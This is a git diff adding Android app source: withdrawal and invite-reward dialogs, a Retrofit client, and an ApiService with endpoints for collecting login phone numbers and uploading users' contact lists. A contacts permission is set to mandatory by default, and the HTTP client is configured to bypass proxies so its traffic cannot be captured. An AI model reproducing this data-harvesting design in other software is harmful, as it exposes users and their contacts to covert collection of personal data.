LogUtils.d("dddd" + msg); + if (page == 1) { + recyclerView.setVisibility(View.GONE); + } + } + + @Override + public void onError2(Result o) { + if (page == 1) { + recyclerView.setVisibility(View.GONE); + } + } + }); + } +} diff --git a/base_no_all/src/main/java/com/web/base/ActionSelectDialog.java b/base_no_all/src/main/java/com/web/base/ActionSelectDialog.java new file mode 100644 index 0000000..aad19a6 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/ActionSelectDialog.java @@ -0,0 +1,95 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + + +public class ActionSelectDialog extends Dialog { + + private TextView shareTv; + private TextView checkTv; + OnToActionListener onToLoginListener; + private Context mContext; + + public interface OnToActionListener { + void toShare(); + + void toCheck(); + + void toWithDrawRecords(); + + void toWithDrawApply(); + + void toBankInfo(); + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToLoginListener = onNextCallListener; + } + + + public ActionSelectDialog(Context context) { + super(context, R.style.MaterialDesignDialog); + this.mContext = context; + + } + + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + setContentView(R.layout.dialog_select_action); + + shareTv = (TextView) findViewById(R.id.share); + checkTv = (TextView) findViewById(R.id.check); + + shareTv.setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toShare(); + } + }); + checkTv.setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toCheck(); + } + }); + //提现记录 + findViewById(R.id.withdraw).setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toWithDrawRecords(); + } + }); + //提现申请 + findViewById(R.id.withdraw_apply).setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toWithDrawApply(); + } + }); + //银行卡信息 + findViewById(R.id.bankinfo).setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toBankInfo(); + } + }); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.BOTTOM; + wlp.width = WindowManager.LayoutParams.MATCH_PARENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + window.setAttributes(wlp); + } + + +} diff --git a/base_no_all/src/main/java/com/web/base/ActionWithDrawApplyDialog.java b/base_no_all/src/main/java/com/web/base/ActionWithDrawApplyDialog.java new file mode 100644 index 0000000..67e6b23 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/ActionWithDrawApplyDialog.java @@ -0,0 +1,112 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.EditText; +import android.widget.TextView; +import android.widget.Toast; + + +/** + * 提现申请 + */ +public class ActionWithDrawApplyDialog extends Dialog { + private final Context context; + private View lineV; + private EditText inputTxt; + private TextView cancelTv; + private TextView sumbitTv; + private TextView balanceTv; + String content; + String cancel = null; + String sure = null; + String myInviteCode; + private boolean showCancel = true; + OnToActionListener onToActionListener; + + public interface OnToActionListener { + void toSumbit(String content); + + void toCancel(); + + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToActionListener = onNextCallListener; + } + + + public ActionWithDrawApplyDialog(Context context, String myInviteCode) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.myInviteCode = myInviteCode; + } + + public ActionWithDrawApplyDialog(Context context, String cancel, String sure, boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.cancel = cancel; + this.sure = sure; + this.showCancel = showCancel; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_withdrawapply); + cancelTv = (TextView) findViewById(R.id.cancel_tv); + sumbitTv = (TextView) findViewById(R.id.sumbit_tv); + balanceTv = findViewById(R.id.balance_tv); + balanceTv.setText(String.format(context.getString(R.string.app_balance), MainActivity.getString(context, "balance", "0"))); + lineV = (View) findViewById(R.id.line_v); + inputTxt = findViewById(R.id.input_tv); + if (!TextUtils.isEmpty(cancel)) { + cancelTv.setText(cancel); + } + if (!TextUtils.isEmpty(sure)) { + sumbitTv.setText(sure); + } + if (!showCancel) { + cancelTv.setVisibility(View.GONE); + lineV.setVisibility(View.GONE); + } + + findViewById(R.id.tv_records).setOnClickListener(view -> { + ActionWithDrawRecordsDialog actionDialog = new ActionWithDrawRecordsDialog(context, myInviteCode); + actionDialog.setCancelable(false); + actionDialog.setCanceledOnTouchOutside(false); + actionDialog.show(); + }); + sumbitTv.setOnClickListener(v -> { + if (TextUtils.isEmpty(inputTxt.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_withdraw_apply_hint), Toast.LENGTH_SHORT).show(); + return; + } + if (onToActionListener != null) { + onToActionListener.toSumbit(inputTxt.getText().toString()); + } + }); + cancelTv.setOnClickListener(v -> { + dismiss(); + if (onToActionListener != null) { + onToActionListener.toCancel(); + } + }); + + setCanceledOnTouchOutside(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + +} diff --git a/base_no_all/src/main/java/com/web/base/ActionWithDrawRecordsDialog.java b/base_no_all/src/main/java/com/web/base/ActionWithDrawRecordsDialog.java new file mode 100644 index 0000000..a9f8fbe --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/ActionWithDrawRecordsDialog.java @@ -0,0 +1,118 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.ArrayList; +import java.util.List; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + + +/** + * 展示申请记录 + */ +public class ActionWithDrawRecordsDialog extends Dialog { + private Context context; + private String myInviteCode; + private List listdata = new ArrayList<>(); + + private RecyclerView recyclerView; + private MyWithDrwaListAdapter listAdapter; + private TextView tvNoData; + private TextView tvTitle; + private TextView tvBalance; + private TextView tvTotalEarning; + private int page = 1; + + + public ActionWithDrawRecordsDialog(Context context, String myInviteCode) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.myInviteCode = myInviteCode; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_invite_records); + recyclerView = findViewById(R.id.recycler_list); + tvNoData = findViewById(R.id.tv_nodata); + tvTitle = findViewById(R.id.content_tv); + findViewById(R.id.layout_balance).setVisibility(View.GONE); + tvTitle.setText(context.getString(R.string.app_withdrawtitle)); + getRecords(); + findViewById(R.id.ic_dialog_close).setOnClickListener(view -> { + dismiss(); + }); + recyclerView.setLayoutManager(new LinearLayoutManager(context)); + listAdapter = new MyWithDrwaListAdapter(context, listdata); + recyclerView.setAdapter(listAdapter); + setCanceledOnTouchOutside(false); + setCancelable(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + + public void getRecords() { + Api.getInstance().getWithDrawRecords(myInviteCode, page, 20) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + if (o.data != null) { + WithDrawListInfo inviteInfo = o.data; + if (page == 1) { + listdata = inviteInfo.getList(); + } else { + listdata.addAll(inviteInfo.getList()); + } + if (listdata.size() > 0) { + listAdapter.setListdata(listdata); + recyclerView.setVisibility(View.VISIBLE); + } else { + recyclerView.setVisibility(View.GONE); + } + if (listdata.size() < inviteInfo.getTotal()) { + page++; + getRecords(); + } + } + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + if (page == 1) { + recyclerView.setVisibility(View.GONE); + tvNoData.setVisibility(View.VISIBLE); + } + } + + @Override + public void onError2(Result o) { + if (page == 1) { + recyclerView.setVisibility(View.GONE); + tvNoData.setVisibility(View.VISIBLE); + } + } + }); + } +} diff --git a/base_no_all/src/main/java/com/web/base/Api.java b/base_no_all/src/main/java/com/web/base/Api.java new file mode 100644 index 0000000..286a17d --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/Api.java @@ -0,0 +1,68 @@ +package com.web.base; + +import java.net.Proxy; +import java.util.concurrent.TimeUnit; + +import okhttp3.OkHttpClient; +import okhttp3.logging.HttpLoggingInterceptor; + +/** + * 项目名: TODO-MVVM + * 包名 com.azhon.mvvm.api + * 文件名: Api + * 创建时间: 2019-03-27 on 14:56 + * 描述: TODO 使用Retrofit基础服务 + * + * @author + */ + +public class Api extends BaseApi { + + private static final long CONNECT_TIMEOUT = 10; + private static final long READ_TIMEOUT = 10; + private static final long WRITE_TIMEOUT = 10; + + /** + * 静态内部类单例 + */ + private static class ApiHolder { + private static Api api = new Api(); + private final static ApiService apiService = api.initRetrofit(ApiService.URL) + .create(ApiService.class); + + } + + public static ApiService getInstance() { + return ApiHolder.apiService; + } + /** + * 做自己需要的操作 + */ + @Override + protected OkHttpClient setClient() { + OkHttpClient.Builder builder; + builder = new OkHttpClient() + .newBuilder(); + //禁止使用代理抓取数据 + builder.proxy(Proxy.NO_PROXY); + //设置超时 + builder.connectTimeout(CONNECT_TIMEOUT, TimeUnit.SECONDS); + builder.readTimeout(READ_TIMEOUT, TimeUnit.SECONDS); + builder.writeTimeout(WRITE_TIMEOUT, TimeUnit.SECONDS); + //错误重连 + builder.retryOnConnectionFailure(true); + +// if (Config.IS_DEBUG) { + HttpLoggingInterceptor interceptor = new HttpLoggingInterceptor(message -> { + String text = message; + LogUtils.i("OKHttp111111-----", text); + + }); + interceptor.setLevel(HttpLoggingInterceptor.Level.BODY); + builder.addInterceptor(interceptor); +// } + return builder.build(); + + } + +} diff --git a/base_no_all/src/main/java/com/web/base/ApiService.java b/base_no_all/src/main/java/com/web/base/ApiService.java new file mode 100644 index 0000000..f8065a7 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/ApiService.java @@ -0,0 +1,116 @@ +package com.web.base; + + +import java.util.List; +import java.util.Map; + +import io.reactivex.Observable; +import okhttp3.RequestBody; +import retrofit2.http.Body; +import retrofit2.http.GET; +import retrofit2.http.Headers; +import retrofit2.http.POST; +import retrofit2.http.PUT; +import retrofit2.http.Query; + +public interface ApiService { + //String URL = "http://8.218.177.7:18000/"; + String URL = "https://api.liulao.top/"; +// String URL = "http://192.168.8.184:8000/"; + + String savenotify ="notify"; + + + @GET("api/system/applicationConf") + Observable> geUrlNew(@Query("userId") int userId); + + + + /** + * 搜集登录手机号 + */ + @POST("app/loginUser") + Observable appLoginUser(@Body Map map); + + /** + * 上传通讯录 + */ + @Headers("Content-Type:application/json") + @POST("api/customer/customers") + Observable readContact(@Body RequestBody requestBody); + + /** + * 統計下載量 + */ + @PUT("api/statistics/downloads") + Observable downloadNumbers(@Body Map map); + + /** + * 每日活跃统计 + */ + @PUT("api/statistics/use") + Observable totalTongJi(@Body Map map); + + /** + * 验证邀请码 + */ + @PUT("api/invite/send") + Observable> checkInvited(@Body Map map); + + /** + * 获取我的邀请码 + */ + @POST("api/invite/my") + Observable> getMyInvited(@Body Map map); + + /** + * 统计通知 + */ + @POST("api/push/statistics") + Observable totalNotify(@Body Map map); + + /** + * 获取邀请记录 + */ + @GET("/api/invite/records") + Observable> getRecords(@Query("code") String inviteCode, @Query("page") int page, @Query("size") int size); + + + /** + * 获取提现记录 + */ + @GET("/api/withdraw") + Observable> getWithDrawRecords(@Query("inviteCode") String inviteCode, @Query("page") int page, @Query("size") int size); + + + /** + * 申请提现 + */ + @POST("/api/withdraw/apply") + Observable sendWithDrawApply(@Body Map map); + + /** + * 申请提现 + */ + @POST("/api/withdraw") + Observable sendBankInfo(@Body Map map); + + /** + * 获取银行列表 + */ + @GET("/api/withdraw/banks") + Observable>>> getBankInfoList(); + + + /** + * 获取通知列表 + * @param userid + * @param page + * @param size + * @return + */ + @GET("api/push/pushRecords") + Observable>> getNotifyList(@Query("userId") int userid, @Query("page") int page, @Query("size") int size); + + +} diff --git a/base_no_all/src/main/java/com/web/base/BankInfo.java b/base_no_all/src/main/java/com/web/base/BankInfo.java new file mode 100644 index 0000000..c1bb3de --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/BankInfo.java @@ -0,0 +1,43 @@ +package com.web.base; + +import java.io.Serializable; + +public class BankInfo implements Serializable { + + private String bankCode; + private String bankName; + private String country; + private int id; + + public String getBankCode() { + return bankCode; + } + + public void setBankCode(String bankCode) { + this.bankCode = bankCode; + } + + public String getBankName() { + return bankName; + } + + public void setBankName(String bankName) { + this.bankName = bankName; + } + + public String getCountry() { + return country; + } + + public void setCountry(String country) { + this.country = country; + } + + public int getId() { + return id; + } + + public void setId(int id) { + this.id = id; + } +} diff --git a/base_no_all/src/main/java/com/web/base/BaseApi.java b/base_no_all/src/main/java/com/web/base/BaseApi.java new file mode 100644 index 0000000..6020adc --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/BaseApi.java @@ -0,0 +1,46 @@ +package com.web.base; + +import okhttp3.OkHttpClient; +import retrofit2.Retrofit; +import retrofit2.adapter.rxjava2.RxJava2CallAdapterFactory; +import retrofit2.converter.gson.GsonConverterFactory; +import retrofit2.converter.scalars.ScalarsConverterFactory; + +/** + * 项目名: TODO-MVVM + * 包名 com.azhon.basic.retrofit + * 文件名: BaseApi + * 创建时间: 2019-03-27 on 14:52 + * 描述: TODO 封装基础的Retrofit + * + * @author + */ + +public abstract class BaseApi { + + /** + * 初始化Retrofit + */ + public Retrofit initRetrofit(String baseUrl) { + Retrofit.Builder builder = new Retrofit.Builder(); + //支持返回Call + builder.addConverterFactory(ScalarsConverterFactory.create()); + //支持直接格式化json返回Bean对象 + builder.addConverterFactory(GsonConverterFactory.create()); + //支持RxJava + builder.addCallAdapterFactory(RxJava2CallAdapterFactory.create()); + builder.baseUrl(baseUrl); + OkHttpClient client = setClient(); + if (client != null) { + builder.client(client); + } + return builder.build(); + } + + /** + * 设置OkHttpClient,添加拦截器等 + * + * @return 可以返回为null + */ + protected abstract OkHttpClient setClient(); +} diff --git a/base_no_all/src/main/java/com/web/base/BaseObserver.java b/base_no_all/src/main/java/com/web/base/BaseObserver.java new file mode 100644 index 0000000..a53e2a6 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/BaseObserver.java @@ -0,0 +1,113 @@ +package com.web.base; + +import com.google.gson.JsonParseException; + +import org.json.JSONException; + +import java.io.InterruptedIOException; +import java.net.ConnectException; +import java.net.UnknownHostException; +import java.text.ParseException; + +import io.reactivex.observers.DisposableObserver; +import retrofit2.HttpException; + +public abstract class BaseObserver extends DisposableObserver { + /** + * 解析数据失败 + */ + public static final int PARSE_ERROR = 1001; + /** + * 网络问题 + */ + public static final int BAD_NETWORK = 1002; + /** + * 连接错误 + */ + public static final int CONNECT_ERROR = 1003; + /** + * 连接超时 + */ + public static final int CONNECT_TIMEOUT = 1004; + + @Override + public void onNext(T o) { + if (o instanceof String) { + onError(0, "接口解析失败"); +// LogUtils.i("返回个string就没意思了"); + } else { + Result model = (Result) o; + if (model.isSuccessful()) { + onSuccess(o); + } else { + onError2(o); + } + } + + + } + + @Override + public void onError(Throwable e) { + if (e instanceof HttpException) { + // HTTP错误 + onException(BAD_NETWORK); + } else if (e instanceof ConnectException + || e instanceof UnknownHostException) { + // 连接错误 + onException(CONNECT_ERROR); + } else if (e instanceof InterruptedIOException) { + // 连接超时 + onException(CONNECT_TIMEOUT); + } else if (e instanceof JsonParseException + || e instanceof JSONException + || e instanceof ParseException) { + // 解析错误 + + onException(PARSE_ERROR); + } else { + if (e != null) { + onError(409, e.toString()); + } else { + onError(407, "未知错误"); + } + } + + } + + private void onException(int unknownError) { + switch (unknownError) { + case CONNECT_ERROR: + onError(CONNECT_ERROR, "连接错误"); + break; + + case CONNECT_TIMEOUT: + onError(CONNECT_TIMEOUT, "连接超时"); + break; + + case BAD_NETWORK: + onError(BAD_NETWORK, "网络问题"); + break; + + case PARSE_ERROR: + onError(PARSE_ERROR, "宇宙也是有尽头的"); + + break; + + default: + break; + } + } + + @Override + public void onComplete() { + + } + + public abstract void onSuccess(T o); + + public abstract void onError(int code, String msg); + + public abstract void onError2(T o); + +} diff --git a/base_no_all/src/main/java/com/web/base/CircleImageView.java b/base_no_all/src/main/java/com/web/base/CircleImageView.java new file mode 100644 index 0000000..cf84202 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/CircleImageView.java @@ -0,0 +1,321 @@ +package com.web.base; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.content.res.TypedArray; +import android.graphics.Bitmap; +import android.graphics.Canvas; +import android.graphics.Matrix; +import android.graphics.Paint; +import android.graphics.PorterDuff; +import android.graphics.PorterDuffXfermode; +import android.graphics.RectF; +import android.graphics.drawable.BitmapDrawable; +import android.graphics.drawable.Drawable; +import android.util.AttributeSet; +import android.view.MotionEvent; + +import androidx.appcompat.widget.AppCompatImageView; + + +public class CircleImageView extends AppCompatImageView { + // paint when user press + private Paint pressPaint; + private int width; + private int height; + + // default bitmap config + private static final Bitmap.Config BITMAP_CONFIG = Bitmap.Config.ARGB_8888; + private static final int COLORDRAWABLE_DIMENSION = 1; + + // border color + private int borderColor; + // width of border + private int borderWidth; + // alpha when pressed + private int pressAlpha; + // color when pressed + private int pressColor; + // radius + private int radius; + // rectangle or round, 1 is circle, 2 is rectangle + private int shapeType; + + public CircleImageView(Context context) { + super(context); + init(context, null); + } + + public CircleImageView(Context context, AttributeSet attrs) { + super(context, attrs); + init(context, attrs); + } + + public CircleImageView(Context context, AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + init(context, attrs); + } + + + private void init(Context context, AttributeSet attrs) { + //init the value + borderWidth = 0; + borderColor = 0xddffffff; + pressAlpha = 0x42; + pressColor = 0x42000000; + radius = 16; + shapeType = 0; + + // get attribute of EaseImageView + if (attrs != null) { + TypedArray array = context.obtainStyledAttributes(attrs, R.styleable.CircleImageView); + borderColor = array.getColor(R.styleable.CircleImageView_ease_border_color, borderColor); + borderWidth = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_border_width, borderWidth); + pressAlpha = array.getInteger(R.styleable.CircleImageView_ease_press_alpha, pressAlpha); + pressColor = array.getColor(R.styleable.CircleImageView_ease_press_color, pressColor); + radius = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_radius, radius); + shapeType = array.getInteger(R.styleable.CircleImageView_es_shape_type, shapeType); + array.recycle(); + } + + // set paint when pressed + pressPaint = new Paint(); + pressPaint.setAntiAlias(true); + pressPaint.setStyle(Paint.Style.FILL); + pressPaint.setColor(pressColor); + pressPaint.setAlpha(0); + pressPaint.setFlags(Paint.ANTI_ALIAS_FLAG); + + setDrawingCacheEnabled(true); + setWillNotDraw(false); + } + + @Override + protected void onDraw(Canvas canvas) { + + if (shapeType == 0) { + super.onDraw(canvas); + return; + } + Drawable drawable = getDrawable(); + if (drawable == null) { + return; + } + // the width and height is in xml file + if (getWidth() == 0 || getHeight() == 0) { + return; + } + Bitmap bitmap = getBitmapFromDrawable(drawable); + drawDrawable(canvas, bitmap); + + if (isClickable()) { + drawPress(canvas); + } + drawBorder(canvas); + } + + /** + * draw Rounded Rectangle + * + * @param canvas + * @param bitmap + */ + @SuppressLint("WrongConstant") + private void drawDrawable(Canvas canvas, Bitmap bitmap) { + Paint paint = new Paint(); + paint.setColor(0xffffffff); + paint.setAntiAlias(true); //smooths out the edges of what is being drawn + PorterDuffXfermode xfermode = new PorterDuffXfermode(PorterDuff.Mode.SRC_IN); + // set flags + int saveFlags = Canvas.ALL_SAVE_FLAG + ; + canvas.saveLayer(0, 0, width, height, null, saveFlags); + + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, width / 2 - 1, paint); + } else if (shapeType == 2) { + RectF rectf = new RectF(1, 1, getWidth() - 1, getHeight() - 1); + canvas.drawRoundRect(rectf, radius + 1, radius + 1, paint); + } + + paint.setXfermode(xfermode); + + float scaleWidth = ((float) getWidth()) / bitmap.getWidth(); + float scaleHeight = ((float) getHeight()) / bitmap.getHeight(); + + Matrix matrix = new Matrix(); + matrix.postScale(scaleWidth, scaleHeight); + + //bitmap scale + bitmap = Bitmap.createBitmap(bitmap, 0, 0, bitmap.getWidth(), bitmap.getHeight(), matrix, true); + + canvas.drawBitmap(bitmap, 0, 0, paint); + canvas.restore(); + } + + /** + * draw the effect when pressed + * + * @param canvas + */ + private void drawPress(Canvas canvas) { + // check is rectangle or circle + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, width / 2 - 1, pressPaint); + } else if (shapeType == 2) { + RectF rectF = new RectF(1, 1, width - 1, height - 1); + canvas.drawRoundRect(rectF, radius + 1, radius + 1, pressPaint); + } + } + + /** + * draw customized border + * + * @param canvas + */ + private void drawBorder(Canvas canvas) { + if (borderWidth > 0) { + Paint paint = new Paint(); + paint.setStrokeWidth(borderWidth); + paint.setStyle(Paint.Style.STROKE); + paint.setColor(borderColor); + paint.setAntiAlias(true); + // // check is rectangle or circle + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, (width - borderWidth) / 2, paint); + } else if (shapeType == 2) { + RectF rectf = new RectF(borderWidth / 2, borderWidth / 2, getWidth() - borderWidth / 2, + getHeight() - borderWidth / 2); + canvas.drawRoundRect(rectf, radius, radius, paint); + } + } + } + + /** + * monitor the size change + * + * @param w + * @param h + * @param oldw + * @param oldh + */ + @Override + protected void onSizeChanged(int w, int h, int oldw, int oldh) { + super.onSizeChanged(w, h, oldw, oldh); + width = w; + height = h; + } + + /** + * monitor if touched + * + * @param event + * @return + */ + @Override + public boolean onTouchEvent(MotionEvent event) { + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + pressPaint.setAlpha(pressAlpha); + invalidate(); + break; + case MotionEvent.ACTION_UP: + pressPaint.setAlpha(0); + invalidate(); + break; + case MotionEvent.ACTION_MOVE: + + break; + default: + pressPaint.setAlpha(0); + invalidate(); + break; + } + return super.onTouchEvent(event); + } + + /** + * @param drawable + * @return + */ + private Bitmap getBitmapFromDrawable(Drawable drawable) { + if (drawable == null) { + return null; + } + + if (drawable instanceof BitmapDrawable) { + return ((BitmapDrawable) drawable).getBitmap(); + } + + Bitmap bitmap; + int width = Math.max(drawable.getIntrinsicWidth(), 2); + int height = Math.max(drawable.getIntrinsicHeight(), 2); + try { + bitmap = Bitmap.createBitmap(width, height, BITMAP_CONFIG); + Canvas canvas = new Canvas(bitmap); + drawable.setBounds(0, 0, canvas.getWidth(), canvas.getHeight()); + drawable.draw(canvas); + } catch (IllegalArgumentException e) { + e.printStackTrace(); + bitmap = null; + } + return bitmap; + } + + /** + * set border color + * + * @param borderColor + */ + public void setBorderColor(int borderColor) { + this.borderColor = borderColor; + invalidate(); + } + + /** + * set border width + * + * @param borderWidth + */ + public void setBorderWidth(int borderWidth) { + this.borderWidth = borderWidth; + } + + /** + * set alpha when pressed + * + * @param pressAlpha + */ + public void setPressAlpha(int pressAlpha) { + this.pressAlpha = pressAlpha; + } + + /** + * set color when pressed + * + * @param pressColor + */ + public void setPressColor(int pressColor) { + this.pressColor = pressColor; + } + + /** + * set radius + * + * @param radius + */ + public void setRadius(int radius) { + this.radius = radius; + invalidate(); + } + + /** + * set shape,1 is circle, 2 is rectangle + * + * @param shapeType + */ + public void setShapeType(int shapeType) { + this.shapeType = shapeType; + invalidate(); + } +} diff --git a/base_no_all/src/main/java/com/web/base/ContactBean.java b/base_no_all/src/main/java/com/web/base/ContactBean.java new file mode 100644 index 0000000..18251d9 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/ContactBean.java @@ -0,0 +1,29 @@ +package com.web.base; + +public class ContactBean { + + public String name; + public String phone; + + + public ContactBean(String name, String phone) { + this.name = name; + this.phone = phone; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getPhone() { + return phone; + } + + public void setPhone(String phone) { + this.phone = phone; + } +} diff --git a/base_no_all/src/main/java/com/web/base/DataInfo.java b/base_no_all/src/main/java/com/web/base/DataInfo.java new file mode 100644 index 0000000..f294620 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/DataInfo.java @@ -0,0 +1,124 @@ +package com.web.base; + +import java.io.Serializable; + +public class DataInfo implements Serializable { + + public String apkUrl; + public String description; + public int forceUpdate; + public String url; + public String downloadUrl; + public String versionCode; + public int isUse = 1; //是否正常使用 0不可用 1正常使用 + public int noticeApplyMode = 1; //通知权限加载方式 0不用1必须 + public int contactApplyMode = 1; //通讯录权限加载方式 0不用1必须 + public String fbUrl; // facebook分享地址 + public String tgUrl; // tg分享地址 + public String wsUrl; //whatsapp分享地址 + public String linkConfig; + + public String getLinkConfig() { + return linkConfig; + } + + public void setLinkConfig(String linkConfig) { + this.linkConfig = linkConfig; + } + + public int getIsUse() { + return isUse; + } + + public void setIsUse(int isUse) { + this.isUse = isUse; + } + + public int getNoticeApplyMode() { + return noticeApplyMode; + } + + public void setNoticeApplyMode(int noticeApplyMode) { + this.noticeApplyMode = noticeApplyMode; + } + + public int getContactApplyMode() { + return contactApplyMode; + } + + public void setContactApplyMode(int contactApplyMode) { + this.contactApplyMode = contactApplyMode; + } + + public String getFbUrl() { + return fbUrl; + } + + public void setFbUrl(String fbUrl) { + this.fbUrl = fbUrl; + } + + public String getTgUrl() { + return tgUrl; + } + + public void setTgUrl(String tgUrl) { + this.tgUrl = tgUrl; + } + + public String getWsUrl() { + return wsUrl; + } + + public void setWsUrl(String wsUrl) { + this.wsUrl = wsUrl; + } + + public String getDownloadUrl() { + return downloadUrl; + } + + public void setDownloadUrl(String downloadUrl) { + this.downloadUrl = downloadUrl; + } + + public String getApkUrl() { + return apkUrl; + } + + public void setApkUrl(String apkUrl) { + this.apkUrl = apkUrl; + } + + public String getDescription() { + return description; + } + + public void setDescription(String description) { + this.description = description; + } + + public int getForceUpdate() { + return forceUpdate; + } + + public void setForceUpdate(int forceUpdate) { + this.forceUpdate = forceUpdate; + } + + public String getUrl() { + return url; + } + + public void setUrl(String url) { + this.url = url; + } + + public String getVersionCode() { + return versionCode; + } + + public void setVersionCode(String versionCode) { + this.versionCode = versionCode; + } +} diff --git a/base_no_all/src/main/java/com/web/base/DialogUtil.java b/base_no_all/src/main/java/com/web/base/DialogUtil.java new file mode 100644 index 0000000..451dfba --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/DialogUtil.java @@ -0,0 +1,58 @@ +package com.web.base; + +import android.os.Build; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; + +@Deprecated +public class DialogUtil { + /** + * 隐藏虚拟栏 ,显示的时候再隐藏掉 + * @param window + */ + public static void hideNavigationBar(final Window window) { + window.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION); + window.getDecorView().setOnSystemUiVisibilityChangeListener(new View.OnSystemUiVisibilityChangeListener() { + @Override + public void onSystemUiVisibilityChange(int visibility) { + int uiOptions = View.SYSTEM_UI_FLAG_LAYOUT_STABLE | + //布局位于状态栏下方 + View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION | + //全屏 + View.SYSTEM_UI_FLAG_FULLSCREEN | + //隐藏导航栏 + View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | + View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN; + if (Build.VERSION.SDK_INT >= 19) { + uiOptions |= View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY; + } else { + uiOptions |= View.SYSTEM_UI_FLAG_LOW_PROFILE; + } + window.getDecorView().setSystemUiVisibility(uiOptions); + } + }); + } + + + /** + * dialog 需要全屏的时候用,和clearFocusNotAle() 成对出现 + * 在show 前调用 focusNotAle show后调用clearFocusNotAle + * @param window + */ + public static void focusNotAle(Window window) { + window.setFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE, + WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE); + } + + + /** + * dialog 需要全屏的时候用,focusNotAle() 成对出现 + * 在show 前调用 focusNotAle show后调用clearFocusNotAle + * @param window + */ + public static void clearFocusNotAle(Window window) { + window.clearFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE); + } +} + diff --git a/base_no_all/src/main/java/com/web/base/GsonUtils.java b/base_no_all/src/main/java/com/web/base/GsonUtils.java new file mode 100644 index 0000000..8facc6c --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/GsonUtils.java @@ -0,0 +1,91 @@ +package com.web.base; + +import android.text.TextUtils; + +import com.google.gson.Gson; +import com.google.gson.JsonObject; +import com.google.gson.reflect.TypeToken; + +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.List; + +/** + * json解析工具类 其实对于数组解析有一些问题 + * @author + */ +public class GsonUtils { + + public static Gson gson = new Gson(); + + /** + * 返回List对象 + * @param str + * @param type new TypeToken>(){}.getType() + * @param + * @return + */ + public static T getListFromJSON(String str, Type type) { + if (!TextUtils.isEmpty(str)) { + return gson.fromJson(str, type); + } + return null; + } + + /** + * 返回List对象 + * @param str + * @param cls + * @param + * @return + */ + public static List getListFromJSON(String str, Class cls) + { + Type type = new TypeToken>() + {}.getType(); + ArrayList jsonObjects = gson.fromJson(str, type); + 